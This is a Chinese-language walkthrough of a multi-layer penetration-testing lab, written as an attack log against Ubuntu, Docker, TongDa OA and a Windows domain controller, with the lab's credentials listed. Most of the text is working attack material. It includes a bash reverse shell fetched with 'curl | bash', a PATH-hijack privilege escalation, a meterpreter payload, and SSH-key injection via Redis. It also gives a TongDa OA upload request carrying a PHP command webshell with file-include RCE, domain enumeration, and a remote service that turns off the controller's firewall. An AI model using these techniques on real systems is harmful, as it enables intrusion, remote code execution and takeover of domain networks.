在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24
DMZ区的 Ubuntu 需要启动redis和nginx服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
域用户信息
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
现在对http://192.168.3.123/地址进行黑盒测试
首先使用nmap对地址进行扫描
nmap -T4 -sC -sV 192.168.3.123 -p 1-65535
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
cat /proc/1/cgroup
先把shell反弹到我们的kali当中(因为是ubuntu所以不能直接反弹shell)
kali上写个shell.sh
bash -i >& /dev/tcp/192.168.31.96/6666 0>&1
再开个web服务
python -m http.server 80
kali监听一个端口
nc -lvvp 6666
看一下靶机能不能访问192.168.3.139:80
在shell管理系统
curl 192.168.3.139/shell.sh
curl 192.168.3.139:80/shell.sh|bash
查看linux版本
uname -a
https://github.com/Al1ex/LinuxEelvation
没成功
find / -perm -u=s -type f 2>/dev/null
利用/home/jobs/shell 提权,发现shell文件执行了ps,我们利用ps提权,写ps恶意命令
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
生成msf木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.139 LPORT=6667 -f elf > shell.elf
监听(msf端执行)
use exploit/multi/handler
set lhost 192.168.3.139
set lport 6667
set payload linux/x86/meterpreter/reverse_tcp
run
将木马传到靶机
wget http://192.168.3.139/shell.elf
chmod 777 shell.elf
./shell.elf
一直逃逸不出来,看看其他方式
信息搜集可得,服务器还有个redis端口,曲线救国
https://github.com/qishibo/AnotherRedisDesktopManager/releases/tag/v1.5.1
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make //全局生效
cp src/redis-cli /usr/bin/
redis-cli -h 192.168.3.123
kali生成ssh公钥
ssh-keygen -t rsa
将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.31.132 -x set xxx
进入redis命令行将公钥写入(这里redis要是不用root启,就不行)
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
到这里我们可以发现我们拿下了第一台机器是ubuntu18 有两个网卡,发现了第一个内网网段是192.168.52.10
参考前面,懒得写了
工具使用一定要熟练啊,上线我就上了半天,设置监听端口之前一定看看占用了没,气死我了!!!!!!
传一个fscan上去
upload /home/yezi/hongri1/fscan_amd64
然后扫描
扫到一台192.168.52.30
通达OA
使用frp在192.168.52.10做一个代理,来渗透192.168.52.30
frp教程
https://www.cnblogs.com/hanlongyi/p/15250440.html
TongDaOA.domain/inc/expired.php 判断通达版本
参考:https://github.com/OA-HUNTER/TongDa-OA
2)修改再发包
需修改以下三个地方:
/logincheck.php /logincheck_code.php
删除cookie在post包中添加UID=1
访问上传接口抓包
/ispirit/im/upload.php
修改包的内容
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
图片马的路径
2204/1828100034.jpg
文件包含rce
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 90
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2204/1828100034.jpg"}&cmd=whoami
参考资料
https://blog.csdn.net/szgyunyun/article/details/107104288
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
信息搜集后得到
有一个域:whoamianony.org
域控是:DC.whoamianony.org
域控的ip:192.168.93.30
93这个网段有三台机器
193.168.92.20(通达OA本机)
193.168.92.30
193.168.92.40
psexec失败了,半天没反应,我估计是防火墙的原因
IPC$常用命令
net use 查看当前连接的IPC$
net use * /del 删除IPC$连接
net use \192.168.1.1\ipc$ 密码 /user:域\账号
连接域内IP地址为192.168.1.1的主机
dir \192.168.1.1\c$ 列出连接的192.168.1.1的C盘文件
copy c:/12.txt \192.168.1.1\c$\2.txt
复制本地c盘的12.txt文件到192.168.1.1的c盘并保存为2.txt
那我们利用net use 把域控的防火墙关了
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
因为抓到了域控的账号密码,cs横向基本操作这里不谈了
好了,至此机器全部都上线了